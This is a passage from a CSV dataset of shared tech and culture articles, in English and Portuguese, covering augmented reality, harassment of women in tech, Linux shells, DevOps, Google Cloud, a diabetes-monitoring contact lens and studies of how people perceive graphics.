Fukuoka, Japan.",en
1464566010,CONTENT SHARED,5589105207760786822,8841741572929644986,-7666254580924884320,,,,HTML,http://singularityhub.com/2016/05/27/hyper-reality-is-a-psychedelic-glimpse-of-our-future-on-digital-overload/,'Hyper-Reality' Is a Psychedelic Glimpse of Our Future on Digital Overload,"2,570 8 If you could choose between a countless number of realities - would you choose this one? The visceral experience of hopping between and mixing digital and physical worlds is beautifully depicted in a new crowdfunded short film, ""Hyper-Reality."" The film's creator, Keiichi Matsuda , says virtual reality, augmented reality, wearables, and the internet of things will soon infuse our lives with technology as never before. ""It will be the glue between every interaction and experience, offering amazing possibilities, while also controlling the way we understand the world,"" Matsuda says. ""Hyper-Reality attempts to explore this exciting but dangerous trajectory."" If the future of augmented reality is anything like the above experience - security may not be the only issue. Will a future of seamless augmented realities become just another escape from the ordinary world? And what role will distraction play? As each new piece of technology comes along, the uphill battle for balance only becomes more difficult, requiring more mindfulness. ""Ultimately, we each have to choose how we interact with technology and what our own comfort levels with it are,"" Alison Berman writes . ""The greater awareness and honesty we have about its strengths and weaknesses, the better we can make healthy decisions about how to use it in our own lives - individually and collectively."" No matter what new technologies may come next, the interior world we inhabit is still our own choice-and there's great value in curating a healthy personal worldview despite outside circumstances. While he was still alive, the author Robert Anton Wilson frequently explored the idea of subjective worlds or ""reality-tunnels"" as he called them. The preface to his book, Cosmic Trigger , expresses what control we have in creating them. Wilson writes that since we're all constantly creating our own reality tunnels, ""I prefer to create for each hour the happiest, funniest, and most romantic reality-tunnel consistent with the signals my brain apprehends."" As for those struggling with a negative, sad or a hopeless reality tunnel, ""try to show them how to break the bad habit, but don't feel any masochistic duty to share their misery."" While the future of augmented and virtual worlds is still just forming - spending some time thinking about what worlds we'd to inhabit probably wouldn't hurt. What world would you inhabit if you had the choice? Image credit: Hyper-Reality",en
1464575885,CONTENT SHARED,-7809508238092432842,-709287718034731589,-2466032665594402813,,,,HTML,https://medium.com/athena-talks/lena-dunham-bey-the-apology-plague-and-my-rage-against-the-machine-sorrynotsorry-eb6ce9e80f70,"If women in tech stop apologizing, we might just be able to shut the sexist shit down. - Athena Talks","If women in tech stop apologizing, we might just be able to shut the sexist shit down. Let's talk about an uncomfortable truth, sexual harassment and assault is common in the tech industry. The only reason we don't hear more about it is because the men who perpetrate it the most are also the ones who hold the ""keys to the kingdom""- as investors or powerful industry figures, women don't want to ruin their careers by speaking out. So I have come to a conclusion. I am adding a ""sexual misconduct clause"" into all of my investment agreements. If an investor or employee of the investor/accelerator/incubator makes a sexual advance towards me or anyone in my company , then they are stripped of all of their shares in my company (even the ones that have vested) and there will be a public notice to shareholders as to the reason why. There are plenty of ""bad actor"" clauses that already exist. It is time to add a new one that protects women. Let me walk you through my process: Yesterday I read Lena Dunham's Linkedin post ""Sorry, Not Sorry: My Apology Addiction"" and I thought, WOW- Dunham is so fierce, and Bey is too. Her article lit a spark which fired up some self-awareness, because I heard myself apologizing for the rest of the day. I apologized for having an opinion, I apologized for bumping into someone who actually walked into me. I even said ""I am sorry but I think you are wrong"" (to someone who totally had their facts wrong) So, what the fuck is up with that? I am part of the apology plague. I caught it or maybe always had it. I keep saying it, and just like Lena said, it is just a thin veil over my rage. The reason I am so angry is because I was sexually assaulted at an afterparty during a tech conference. It was the last straw after years of putting up with all kinds of sexism and as a result, I closed my company. I tell people it was ""founder burnout"", but it wasn't. It was a trauma which I couldn't shake or face and the tech events went from fun parties to threatening crowds. I am always outnumbered (by a lot) and there is a frat boy mentality by some of even the most respected investors. I didn't let it stop me, and I launched Civilize because I am on a fucking mission. I believe in what we are doing. (helping people end harassment from debt collectors) Plus, I already built the tech and I couldn't just walk away and let it sit on a server somewhere collecting dust because I was feeling scared or hurt. I pushed forward but the feelings didn't go away. I just suppressed them and they find their way to the surface. As Lena said in her post: ""... the fact is, a lot of the time when I say sorry it's because I'm mad. Really mad. So mad that I'm afraid anything but sorry will cause me to explode and drip my hideous rage juice all over someone I'm simultaneously pissed at and trying to please. And so saying sorry serves as a sort of cork, making sure my emotions are contained and packaged neatly. Sorry is the wrapping paper AND the bow."" I am having a great time as part of Barclays/Techstars accelerator. I love the people, the other companies and my team. In terms of my company, I am ""crushing it"" but demo day is coming. While other CEOs are worried about getting funded, I am shit scared that one of them will invest. Every time I get up to pitch, instead of sharing my vision I am exploding with rage. And then I apologize and promise to do better, and change my pitch to one that is even more antagonizing then the last. I was literally told that I need to work harder on hiding my thinly veiled contempt for the investors. And I am so sorry that I am angry, and I am so sorry that I can't get over it, and I am so sorry that I hate them as a whole instead of being able to remember that there a a few bad actors but most are not like that. And I know that the future of my company depends on me being able to get past this. Because here is my deepest fear- I am afraid that one of these men, these bad actors will end up investing in Civilize . He will have a board seat, he will own part of my life's work. One day, he will offer to take me out to dinner and I will think it is professional but he will have another agenda ( because in his mind lunch is for business and dinner is for lovers but I didn't get the memo ), he will make an advance, I won't know what to do, everything will get awkward and I will be afraid of making an enemy of him because he will have the power to oust me from my company. This is my imagination, but these aren't imaginary fears. This happens. I need to make sure that it doesn't happen to me again, or to any members of my team. I think that I felt more alone in these fears before Ellen Pao spoke up. She spoke for more women than anyone realizes and she didn't apologize. Then more women spoke without apologizing. And with every voice that we add, we get collectively stronger. But we need more than to speak out, we need to do something actionable to make a change and hold men accountable. As women in a male dominated, we deserve to be protected from unwanted sexual advances, and this seems like a good place to start. *if you or someone you love is in debt, check out Civilize and maybe we can help. As always, you can find me here or on twitter @sarahnadav",en
1464608063,CONTENT SHARED,8080671570570146356,-8020832670974472349,-2392608856716365330,,,,HTML,https://opensource.com/business/16/3/top-linux-shells,Top 5 open source command shells for Linux,"There are two kinds of Linux users: the cautious and the adventurous. On one side is the user who almost reflexively tries out ever new option which hits the scene. They've tried handfuls of window managers, dozens of distributions, and every new desktop widget they can find. On the other side is the user who finds something they like and sticks with it. They tend to like their distribution's defaults. If they're passionate about a text editor, it's whichever one they mastered first. As a Linux user, both on the server and the desktop, for going on fifteen years now, I am definitely more in the second category than the first. I have a tendency to use what's presented to me, and I like the fact that this means more often than not I can find thorough documentation and examples of most any use case I can dream up. If I used something non-standard, the switch was carefully researched and often predicated by a strong pitch from someone I trust. But that doesn't mean I don't like to sometimes try and see what I'm missing. So recently, after years of using the bash shell without even giving it a thought, I decided to try out four alternative shells: ksh, tcsh, zsh, and fish. All four were easy installs from my default repositories in Fedora, and they're likely already packaged for your distribution of choice as well. Here's a little bit on each option and why you might choose it to be your next Linux command-line interpreter. bash First, let's take a look back at the familiar. GNU Bash , the Bourne Again Shell, has been the default in pretty much every Linux distribution I've used through the years. Originally released in 1989, bash has grown to easily become the most used shell across the Linux world, and it is commonly found in other unix-like operating systems as well. Bash is a perfectly respectable shell, and as you look for documentation of how to do various things across the Internet, almost invariably you'll find instructions which assume you are using a bash shell. But bash has some shortcomings, as anyone who has ever written a bash script that's more than a few lines can attest to. It's not that you can't do something, it's that it's not always particularly intuitive (or at least elegant) to read and write. For some examples, see this list of common bash pitfalls . That said, bash is probably here to stay for at least the near future, with its enormous install base and legions of both casual and professional system administrators who are already attuned to its usage, and quirks. The bash project is available under a GPLv3 license. ksh KornShell , also known by its command invocation, ksh, is an alternative shell that grew out of Bell Labs in the 1980s, written by David Korn. While originally proprietary software, later versions were released under the Eclipse Public License . Proponents of ksh list a number of ways in which they feel it is superior, including having a better loop syntax, cleaner exit codes from pipes, an easier way to repeat commands, and associative arrays. It's also capable of emulating many of the behaviors of vi or emacs, so if you are very partial to a text editor, it may be worth giving a try. Overall, I found it to be very similar to bash for basic input, although for advanced scripting it would surely be a different experience. tcsh Tcsh is a derivative of csh, the Berkely Unix C shell, and sports a very long lineage back to the early days of Unix and computing itself. The big selling point for tcsh is its scripting language, which should look very familiar to anyone who has programmed in C. Tcsh's scripting is loved by some and hated by others. But it has other features as well, including adding arguments to aliases, and various defaults that might appeal to your preferences, including the way autocompletion with tab and history tab completion work. You can find tcsh under a BSD license . zsh Zsh is another shell which has similarities to bash and ksh. Originating in the early 90s, zsh sports a number of useful features, including spelling correction, theming, namable directory shortcuts, sharing your command history across multiple terminals, and various other slight tweaks from the original Bourne shell. The code and binaries for zsh can be distributed under an MIT-like license, though portions are under the GPL; check the actual license for details. fish I knew I was going to like the Friendly Interactive Shell, fish , when I visited the website and found it described tongue-in-cheek with ""Finally, a command line shell for the 90s""-fish was written in 2005. The authors of fish offer a number of reasons to make the switch, all invoking a bit of humor and poking a bit of fun at shells that don't quite live up. Features include autosuggestions (""Watch out, Netscape Navigator 4.0""), support of the ""astonishing"" 256 color palette of VGA, but some actually quite helpful features as well including command completion based on the man pages on your machine, clean scripting, and a web-based configuration. Fish is licensed primarily unde the GPL version 2 but with portions under other licenses; check the repository for complete information . Looking for a more detailed rundown on the precise differences between each option? This site ought to help you out. So where did I land? Well, ultimately, I'm probably going back to bash, because the differences were subtle enough that someone who mostly used the command line interactively as opposed to writing advanced scripts really wouldn't benefit much from the switch, and I'm already pretty comfortable in bash. But I'm glad I decided to come out of my shell (ha!) and try some new options. And I know there are many, many others out there. Which shells have you tried, and which one do you prefer? Let us know in the comments!",en
1464609481,CONTENT SHARED,589254894302309232,1895326251577378793,-2443893878058850538,,,,HTML,http://www.businessinsider.com/the-best-gmail-tips-tricks-and-extensions-2016-5,These 17 life hacks will change the way you use Gmail,"Stephen Lam/Getty Images Since it debuted a decade ago, Gmail has become not just another email program, but a cultural force. It is the world's largest email service, and it has set the standard for what people expect in terms of ease of use and inbox size. But that doesn't mean it can't be better. A bunch of apps and plug-ins floating around the internet can make your experience using Gmail so much more enjoyable. With these amazing add-ons, you can see when people are tracking your emails, automatically know everything about people who email you, and send self-destructing emails. You can leverage the power of GIFs and even use Gmail as you would WhatsApp. These 17 apps, tricks, and plug-ins can help you both streamline your Gmail time and do things you didn't even know were possible. And special recognition to Product Hunt , which has featured many of these products. Read on to become a Gmail pro:",en
1464618159,CONTENT SHARED,372531153711028286,2146546851324474301,-3917298619655836219,,,,HTML,http://cio.com.br/tecnologia/2016/05/25/devops-requer-profundas-mudancas-operacionais-que-o-cio-precisa-promover/,DevOps requer profundas mudanças operacionais que o CIO precisa promover - CIO,"DevOps é a concretização da metodologia Agile. Cria um ambiente de engenharia no qual os desenvolvedores podem ganhar mais velocidade. Em uma analogia simples, digamos que o Agile é como uma pessoa correndo - cerca de 32 quilômetros por hora - e DevOps, como uma pessoa dirigindo uma Ferrari que pode exceder 320 quilômetros por hora. Conversando com com CIO's, aprendemos que eles se concentram em provisionamento automatizado como um aspecto importante do DevOps. E é. Mas é apenas um pequeno componente. Ter um ambiente de engenharia semelhante à aceleração de uma Ferrari exige mudanças fundamentais. Por uma década ou mais, a comunidade de TI tem experimentado com e adoção de metodologias ágeis que tiveram origem no Vale do Silício, onde a necessidade de velocidade no desenvolvimento ajudou a desenvolvê-la. Mas foi a própria comunidade de startups de tecnologia que determinou que apenas o uso do Agile é insuficiente para atingir a velocidade de desenvolvimento desejada. Então eles começaram a trabalhar com automação em um ambiente operacional diferente. Esse ambiente é definido por software e mais facilmente visível nas ofertas na nuvem. Conhecido como DevOps, e combina este ambiente operacional definido por software com ferramentas automatizadas para fornecimento, teste e capacidade de gerenciamento. Por isso o DevOps é a materialização do Agile. Evite a adoção de um caminho equivocado DevOps não é apenas um conjunto de ferramentas ou metodologia. É uma revisão fundamental sobre o que o TI faz. Adotá-lo não é algo que acontece de um dia para outro. Exige uma mudança conceitual e de modelo mental. Além de demandar conhecimento de novas práticas e uso intenso de tecnologia para automatizar ao máximo o processo de desenvolvimento de software, leva o departamento de TI a uma organização completamente diferente, a partir de uma intenção estratégica diferente. A finalidade é alinhar satisfatoriamente as entregas de TI com as necessidades dos usuários de negócios para criar valor para o negócio. Essa é a nova promessa. Inconvenientemente, o caminho para chegar lá é o mesmo de sempre, com a diferença de que é preciso pensar muito rápido para dirigir um carro rápido. As questões estratégicas e organizacionais são muito mais desafiadoras que o investimento em novas tecnologias. Portanto, a TI não pode chegar a um ambiente DevOps eficaz, que realmente proporcione os benefícios prometidos, sem investir nas mudanças organizacionais. E o primeiro passo nesse sentido é evitar cair na armadilha de comprar um outro conjunto de ferramentas de provisionamento ou ferramentas de teste automatizado acreditando que você vai adquirindo uma Ferrari. Se você fizer isso, você estará apenas treinando para correr mais rápido em vez de dirigir um carro rápido, e é improvável que você chegue a um ambiente projetado para a velocidade. Como proceder Então, quais são as mudanças operacionais fundamentais exigidas pelo DevOps? 1. Modelo de serviço integrado Ele é o coração de um ambiente de desenvolvimento DevOps eficaz. Historicamente, a TI tem adotado um modelo de serviços compartilhados e organizado a partir de uma série de disciplinas funcionais, tais como data center, segurança, desenvolvimento de aplicações, manutenção de aplicações e a aquisição. Acontece que gerenciamento de TI por intermédio dessas camadas funcionais cria silos onde os usuários de negócios são obrigados a navegar. DevOps requer mudança da orientação funcional dos serviços de TI, sua organização e gestão, a partir de linhas de serviço de negócio, garantindo entrega contínua. De maneira geral o processo tradicional acumula as mudanças e faz entregas de uma vez, em Big Bangs. As famosas mudanças de releases. Já DevOps considera que as mudanças no contexto de negócio acontecem tão rápido e com tanta frequência que esperar acumular todas elas é colocar em risco o negócio. 2. Times multifuncionais Para fazer um ambiente DevOps funcionar, você precisa organizar o grupo de TI, fim a fim, em equipes multifuncionais que respondam pelos servidores, rede, desenvolvimento de aplicações, etc, para cada linha de serviços de negócio. O trabalho é muito diferente daquele feiro por equipes de TI tradicionais, responsáveis, cada uma delas, por cada linha de serviço. Times multifuncionais em ambiente DevOps são responsáveis pelo desenvolvimento, manutenção e operação do ambiente para cada linha de serviço. Esses times são responsáveis pela realização dos objetivos dos usuários finais e valor de negócio. Lembre-se que neste ambiente a velocidade é a nova moeda e o alinhamento com os valores do negócio é o objetivo. Para um melhor alinhamento da área de TI com os usuários do negócio, as equipes multifuncionais devem assumir a responsabilidade global pela a condução de cada linha de serviço de negócio particular ao qual dão suporte. Hoje a TI fornece componentes standards (sejam eles na nuvem, terceirizados, em plataforma como serviço, etc). Os times podem montar os componentes ideais, alinhá-los com as necessidades dos usuários de negócio e também toná-los responsáveis pela entregas o tanto quanto possível. 3. Quadro de gestão. Você também vai precisar criar um quadro altamente integrado, elástico, para gerenciar o ambiente DevOps. Construído a partir do uso de ferramentas de automação, processos definidos por software e um modelo baseado no consumo, este quadro permitirá que os engenheiros, por exemplo, possam suprir as necessidade dos usuários de negócios com entregas contínuas, reduzindo de 18 meses para quatro ou seis semanas o tempo decorrido do conceito à implementação e produção de um sistema. Finalmente, o gerenciamento de um ambiente de DevOps inclui o estabelecimento de métricas que se alinham com as necessidades, em vez da tradicional gestão por excelência e desempenho do custo funcional. Não esqueça que dos objetivos do DevOps é combater a excessiva individualidade e independência entre os desenvolvedores durante o processo de criação de um software. O Devops padroniza o ambiente de desenvolvimento, e eventos podem ser acompanhados com maior facilidade, assim como o controle de processos documentados e emissão de relatórios e documentação do programa. Esse processo permite o desenvolvedor manter sua autonomia, sem se desligar do todo, impedindo que correções de código linha a linha sejam necessárias Portanto, lembre-se sempre: DevOps é constituído de cultura, pessoas, respeito não apenas de acessos, ferramentas de automação, deploy contínuo, etc. E envolve novas práticas como (a) entrega contínua de novas funcionalidades, em doses pequenas, (b) uso de equipes dedicadas, cross-functional e pequenas, (c) arquitetura l oose coupling , (d) ambiente automatizado por excelência, (e) integração e testes contínuos e (f) ambiente interativo e colaborativo, com usuários, operação e desenvolvimento atuando em conjunto, sem fricções entre os setores, como vemos hoje. Sem que sejam contempladas como um todo, dificilmente funcionará.",pt
1464619991,CONTENT SHARED,2134259819148812594,-1616903969205976623,-1897176301316773531,,,,HTML,http://www.forbes.com/sites/edmundingham/2015/04/09/forget-the-internet-of-things-there-is-a-digital-revolution-taking-place-in-our-shopping-malls/,"Forget The Internet Of Things, There Is A Digital Revolution Taking Place In Our Shopping Malls","2015 has been heralded as the year the Internet of Things finally takes hold, but while we wait for driverless cars and save up for our Smartwatches and assorted Wearables, the omnichannel retail revolution is gathering pace. This is no small market. In the US alone research from JC Decaux reveals [...]",en
1464620108,CONTENT SHARED,1929674614667189969,-1032019229384696495,-2446252650393115078,,,,HTML,http://techcrunch.com/2016/05/30/diane-greene-wants-to-put-the-enterprise-front-and-center-of-google-cloud-strategy/,Diane Greene wants to put the enterprise front and center of Google Cloud strategy,"When Google bought bebop Technologies last fall for $348 million , it got more than a stealthy startup. It also landed Diane Greene as executive vice president of Google Cloud Enterprise and that perhaps was the bigger prize. Greene brought with her years of industry experience having co-founded and been CEO at VMware for a decade, building it into a virtualization powerhouse. In fact, under Greene's watch, EMC bought VMware in 2003 for $635 million . She stuck around for 5 years seeing the company spun off in an IPO in 2007 , before departing in 2008 a wealthy woman. She spent the next several years helping other companies as a board member. One of those companies was Alphabet, and it was through this relationship that she was lured back to the big corporation where she was charged with taking Google's struggling cloud business and turning it into an enterprise powerhouse, many suspected it always could be. Way back in the pack In a world with three or four big players, by just about any measure AWS is light years ahead of everyone with a market share lead that, as of last year, was 10 x bigger than its closest 14 competitors combined. Google is fourth in that mix behind Microsoft in second and IBM in third, according to numbers from Synergy Research . The bad news for Google is that it has under five percent marketshare as of Q4 2015. The good news is that it grew at a brisk 108 percent for the quarter, second only behind Microsoft's 124 percent growth rate. That means Greene has her work cut out for her, but she doesn't seem all that worried. She says AWS has a big lead simply because it got a head start on everyone else including Google. ""They were there in the public cloud long before Google. We didn't decide to do public cloud for about four years after AWS,"" Greene told TechCrunch. She says that AWS has a big chunk of what essentially is a very small piece of the potential market, and she believes her company has plenty of time to catch up and grab a substantial share of the remainder. While that's all true, it's worth pointing out that Google has had 6 years to work at this and in spite of all its resources, has managed to garner less than five percent of market share. The right woman for the job After having so much success, why did Greene want to go back to high-level executive job at a big company and take on this challenge to improve Google's cloud position? She says she just sort of fell into it, but given her background and experience in the enterprise, she certainly appears to be the right person for the job. One thing led to another and we were having trouble finding someone, and I eventually said I would do it. As she tells it, she had a lot of conversations with the folks at Google as part of her job as an Alphabet board member, and she began to see a role for herself there. It all started when she became friendly with Urs Hölzle, senior VP of technical infrastructure at Google Cloud while walking their dogs together. She knew they were ramping Google Cloud pretty aggressively and as their friendship grew, they were discussing possible candidates for the role to run the overall cloud business. ""He is a totally brilliant and wonderful person. We started taking our dog for walks and became pretty good friends,"" she explained. Eventually they focused on her. ""One thing led to another and we were having trouble finding someone, and I eventually said OK I would do it - and here I am,"" she said. With Greene, Google scored someone with a tremendous enterprise pedigree. At the time of her hiring in November, Steve Herrod, who was CTO at VMware under Greene, and who is currently managing partner at venture capital firm General Catalyst spoke of her in glowing terms . ""She is awesome and immediately changes the game for Google's cloud efforts. The engineering team at bebop was outstanding as well and they'll bring a ton of enterprise DNA to Google,"" he told TechCrunch at the time. Taking care of business When Greene came on board, the cloud business was fragmented and one of the first things she did was unify all of the pieces under a single umbrella with her at the top of the unit. Sundar Pichai outlined the new organization in a company blog post when he announced Greene's hiring. As he stated at the time , Greene would be in charge of a newly integrated enterprise cloud businesses, that brought together Google for Work, Google Cloud Platform, and Google Apps under a consolidated product, engineering, marketing and sales team. She said one of the reasons for this single Google Cloud view was her experience at VMware where they valued integrated execution across the company. She felt that, in order for this to work well, all of these cloud pieces had to be working in sync with a consistent message up and down the entire cloud stack. The other thing she emphasized at VMware that she brought to Google was the importance of building a broad partnership network. ""We were super friendly to partners at VMware and I brought that in here. There are huge opportunities to partner with companies and we've been accelerating that very quickly. Google is committed to open source and open APIs and part of that is creating a partner-friendly place,"" she explained. While she wasn't ready to name names yet because the ink was still drying on some of the agreements, Google did let me know that they have 13,000 partners in the network, so it's not something they just started after Greene came to the company, but she is attempting to build on that existing effort. The enterprise heats up As Greene applies her enterprise chops to the Google Cloud platform, she rightly sees a market that's heating up and one that Google should by all rights be well-positioned to grab a big piece of. ""The enterprise has become a super interesting and exciting place,"" she said. ""Everybody is realizing they have to digitally transform themselves ."" She sees that cloud having a big role in that as it allows companies to communicate better, flatten hierarchies and move much more quickly than they could running equipment inside a data center. The enterprise has become a super interesting and exciting place. - Diane Greene, Google One of the big difference makers Greene is seeing is the power of data and the role the cloud plays in that. ""It's all about data and getting insights out of data. This is all fairly recent, that everybody is like 'whoa, if I don't do this and my competitor does, I'm going to be left behind,'"" she said. As you might expect, she sees Google as a strong contender for these transforming businesses because it has had to do this itself as a company, building data centers, processing huge amounts of data and applying analytics to it to understand what it has. She sees that experience as a big differentiator for her company. ""It is Google's time for enterprise. Google has a lot to offer the world and it all came together in a nice way. There was just a lot of effort going on around the enterprise that has set things up really well,"" she explained. That could be true, but Google needs to win the hearts and minds of enterprise IT staff, who might mistakenly see Google as merely Google Apps and not the entire cloud stack it has become. Having a spokesperson like Greene should help in that regard and she says a big part of her job is talking to customers and finding out what they need and how Google can help. There's plenty of time AWS is clearly the big dawg at the moment, but Greene doesn't seem all that worried. In spite of AWS existing for a decade, she sees Google as a worthy competitor in a market that's just getting started . ""I don't feel like we both started off building cloud at the same time. We came from different places. The place where we are behind and that's changing quickly is in workloads. Every customer wants to run on all the clouds. Pilots have been deployed and are up and running and growing incredibly fast right now,"" she said. She gets the current landscape, but with her in charge, she sees a market that's wide open for competition and a company that's ready to seize that opportunity. ""They have more workloads and features and more partners, but those are very straight forward things to change."" she said. Featured Image: Courtesy of Google",en
1464622041,CONTENT SHARED,-8018088591294066196,-1130272294246983140,-7048727649357058763,,,,HTML,http://logobrschool.com/reviews-campinas-2016/,LOGOBR School | Behance Reviews Campinas 2016,"O Behance Portfolio Reviews é um evento que aproxima profissionais criativos mundo a fora. No dia 18 de juhno de 2016 vai rolar a quarta edição em Campinas & Região, organizado pela LOGOBR / SCHOOL e pela Anora Campo . Assista nosso ciclo de palestras de grandes profissionais e conheça a metodologia, a abordagem de problemas, o processo criativo de cada um e veja como o design e outras disciplinas foram usadas como ferramentas de solução de problemas. Aproveite os intervalos e traga seus trabalhos para mostrar aos outros participantes em um review mais aberto e informal.",pt
1464622306,CONTENT SHARED,-1429167743746492970,-8845298781299428018,-7949802226532958024,,,,HTML,https://www-304.ibm.com/partnerworld/wps/servlet/ContentHandler/news/AA2RDEKK/lc=pt_BR,Building with Watson Technical Web Series,"Prezados Parceiros Comerciais, A IBM foi pioneira ao anunciar o posicionamento de Cognitive Business como sua estratégia a partir de 2015. A riqueza desse tema estimula nossos clientes a cada interação e devemos ser protagonista dessa discussão e transformação tecnológica. Para auxiliá-los na compreensão de Watson e à conduzir as conversas com os clientes no dia a dia, lançaremos uma série de webinars em português, feitos pelo nosso especialista Thiago Salles explicando as principais APIs de Watson. Nestes webinars exploraremos tecnicamente as funcionalidades destas APIs e como utilizá-las para criar soluções inovadoras para os seus clientes. Confira o cronograma abaixo: Webcast 1: Natural Language Processing I Language Identification & LanguageTranslation; Tone Analyzer. Webcast 2: Natural Language Processing II Relationship Extraction; Personality Insights; Sentiment Analysis. Webcast 3: Information Retrieval Retrieve & Rank; Document Conversion; Concept Insights. Webcast 4: Machine Learning & Pattern Recognition I Natural Language Classifier; Visual Recognition; Face Detection. Webcast 5: Machine Learning & Pattern Recognition II Text to Speech / Speech to Text; Dialog; Trade-off Analytics. Dia: 16 de junho Inscrição *É preciso realizar as inscrições individualmente para cada webcast, até para assistir o replay é preciso realizar a inscrição.",pt
1464624145,CONTENT SHARED,-7539387928750597096,3609194402293569455,3334185486919070217,,,,HTML,http://spectrum.ieee.org/the-human-os/biomedical/devices/smart-contact-lenseyeglass-combo-monitor-diabetes-and-deliver-drugs,Smart Contact Lens-Eyeglass Combo Could Monitors Diabetes and Delivers Drugs,"Image: Pohang University of Science and Technology Researchers have made a smart contact lens and eyeglass combination that could be used to monitor diabetes and dispense drugs on-demand. The system includes cool-looking eyeglasses that wirelessly power and communicate with the circuit-lined, drug-releasing lens that a patient could wear for up to a month. If it works, it could mean an end to the multiple painful finger pricks diabetics endure every day to monitor blood glucose levels. And it would be an easy, efficient way to treat the blindness-causing eye diseases that are common complications of diabetes. The remote-controlled lens might also be used to treat other eye diseases and infections, says Sae Kwang Hahn , a professor of materials science and engineering at Pohang University of Science and Technology in Korea (POSTECH). Hahn and his graduate student Do Hee Keum presented their work on the lens system at the recent World Biomaterials Congress . Diabetic retinopathy and glaucoma are the top two causes of vision loss and blindness in the world. Retinopathy refers to the damage that high sugar levels can wreak on the tiny blood vessels in the retina. Glaucoma, meanwhile, is optic nerve damage due to high pressure in the eye. Eye drops that lower eye pressure are a common treatment for glaucoma, and scientists are now investigating various peptide and chemical drugs in the form of eye drops for retinopathy, too. Animal tests have shown that glucose concentration in tears is an effective proxy for blood sugar levels, Hahn says. The new lens-eyeglass system is a convenient way to constantly measure glucose levels in diabetics, alert the wearer to high levels, and provide therapy for diabetes-related eye disorders. The lens is made of two soft silicone hydrogel layers that sandwich a ring-shaped circuit. The circuit has four components: an electrochemical glucose sensor, microcontroller chip, drug-delivery system, and an inductive coil to receive wireless power from the glasses. When tear glucose levels rise, the sensor's current output increases and the chip relays this information wirelessly to the eyeglasses. An LED on the glasses lights up as an alarm in case of very high sugar levels. The user can use voice commands to tell the eyeglasses to send a drug-releasing signal to the chip. In the future, a control circuit on the eyeglasses could make the process automatic, deciding on its own when drugs are needed. To release drugs, the chip zaps one of ten drug reservoirs, which are tiny chambers that the researchers carved into the hydrogel and covered with a thin gold electrode membrane. The voltage dissolves the membrane and releases the drug. Tests of the sensor placed in an artificial tear solution showed that it worked accurately, with no drop in current, for three weeks when the researchers repeatedly spiked glucose levels. Since there are multiple drug doses on the lens, it could be used for up to a month, Hahn says. Google and Novartis are working on a similar idea . Google received a patent in March 2015 for a diabetes-monitoring contact lens . While the patent mentions a reader device that would power and communicate with the contact lens, it does not specify details for such a device. Plus, says Hahn, ""the unique feature of our smart contact lens is a flexible drug-delivery system."" He got a patent on the design with his colleagues at POSTECH and at the Massachusetts General Hospital at about the same time as Google. Meanwhile, others are working on contact lenses that measure eye pressure , and Swiss company Sensimed already sells such a pressure-sensing lens in Europe. More recently researchers reported a wristband that measures glucose levels and injects drugs into the bloodstream via microneedles. All of these concepts could be life-changing for diabetics, but only if any of them are reliable and affordable.",en
1464626709,CONTENT SHARED,4533807694984784858,-1443636648652872475,-2343997129435544949,,,,HTML,https://medium.com/@kennelliott/39-studies-about-human-perception-in-30-minutes-4728f9e31a73,39 studies about human perception in 30 minutes,"39 studies about human perception in 30 minutes These are my speaker notes from a talk I gave at OpenVis in April 2016. Originally this talk was supposed to be called ""Everything we know about how humans perceive graphics,"" which is... at a minimum, pretty pretentious. I scaled back a bit. Clearly I have learned everything there is to know about how humans perceive data graphics in preparation for this talk. Literally everything. But I couldn't possibly fit it all into 30 minutes. So for your sake, let's just refer to this talk as ""39 studies on human perception in 30 minutes."" I'm a graphics editor at The Washington Post, which means I'm part developer, part journalist. Graphics editors like me often rely on common wisdom and experiential knowledge to inform our decisions about design and visualization choices - which is incredibly valuable. For the last several years, I've wondered about what we actually know from scientific studies about how humans perceive graphics. I've collected things here and there, but when I started to get into the thick of it, I realized how extensive this body of research really is. There is a lot that I'm leaving out. This is an extreme distillation of these studies. In reality, these are robust studies, many with multiple experiments each, loaded with meaningful nuance that I do not have time to address. These are very simplistic representations of one or two core findings. I encourage that you read them in their entirety and consider their complete findings. In future posts, I'd like to dive in deeper to each section and present a bit more context for these findings. Look out for more! In Colin Ware's book, Information Visualization , he wonders: Is visualization a science or a language? It's perhaps a science because it must represent data accurately, methodically and without flourish so that we can see the underlying trends and patterns. Because of this, selecting the right visualization for your content could be prescriptive based on what you want to show. However, many argue that it is a language because it uses diagrams to convey meaning. Data is encoded into symbology and semiology. The syntax and conventions of these diagrams must be learned and are not inherent. Throughout this presentation, think about which you think it is. foundations In 1984, William Cleveland and Robert McGill (1) published a study that can only be described as the archetypical seminal study for information visualization. It gives us our first ranking of so-called ""elementary perceptual tasks,"" which are the most basic visual tasks we perform in our perception of graphs. It is referenced by many of the studies I'm about to talk about, and in fact, whenever that happens, I put William Cleveland's little head next to it (I couldn't find a picture of McGill). At the top of the ranking, the easiest perceptual task, is ""position along a common scale."" Cleveland and McGill say it is easiest for us to compare objects in terms of a common scale, like an axis. Scatterplots are a good example of this: circles in scatterplots are anchored on two common scales, the x- and the y-axis. Bar charts also involve comparing objects on a common scale, typically the x-axis, but Cleveland and McGill admit they can also involve judgments of length and area. The list goes on. I encourage you to read and familiarize yourself with what they consider to be elementary perceptual tasks. However, this study was conducted three decades ago. How relevant is it today? Fortunately for us, we have some clue. Heer and Bostock (2) revisited some of Cleveland and McGill's old experiments in a study they did as more of a proof of concept for using Mechanical Turk users in scientific studies. Their results were very similar to those of Cleveland and McGill, at least with the perceptual tasks they tested for. reference points Three studies show that we have inherent biases related to the types of graphs we see and the objects we see in them. These biases may distort the information we retrieve from a graph. We know that from Steven's law, when an object is seen in context of other larger objects, it appears larger itself. When it is seen in context with smaller objects, it appears smaller. Jordan and Schiano (3) found that increasing spatial separation between lines produced the opposite effect. If lines were close enough, a line's length was more similar to the length of the line around it (this is also known as assimilation). If the lines were far apart, long lines appeared longer, and short lines appeared shorter (also known as contrast). In two other studies, Schiano and Tversky (4, 5) found that charts were remembered as being more symmetrical than they actually were. They gave participants diagrams that looked like these, and told them they were either charts or maps. They found that when participants encountered the diagrams introduced as charts, they remembered the lines closer to the imaginary 45-degree line. Further, when the same line was presented to them as a map, this distortion did not occur. When text appeared with the chart calling attention to its symmetry, participants recalled it being a more symmetrical chart even if it was not. This leads me to believe that annotations can be powerful in relaying information. In a separate study, they confirmed a systematic bias toward an imaginary 45-degree line in line charts. When a diagonal line was presented to participants, they continually remembered this line as being closer to 45 degrees than it actually was, meaning they underestimated larger angles and overestimated smaller angles. Thus, the 45-degree line is a reference point for line charts, but not in other contexts. Their work suggests that different visual systems promote different reference frames. basic shapes Croxton (6) found over eight decades ago that 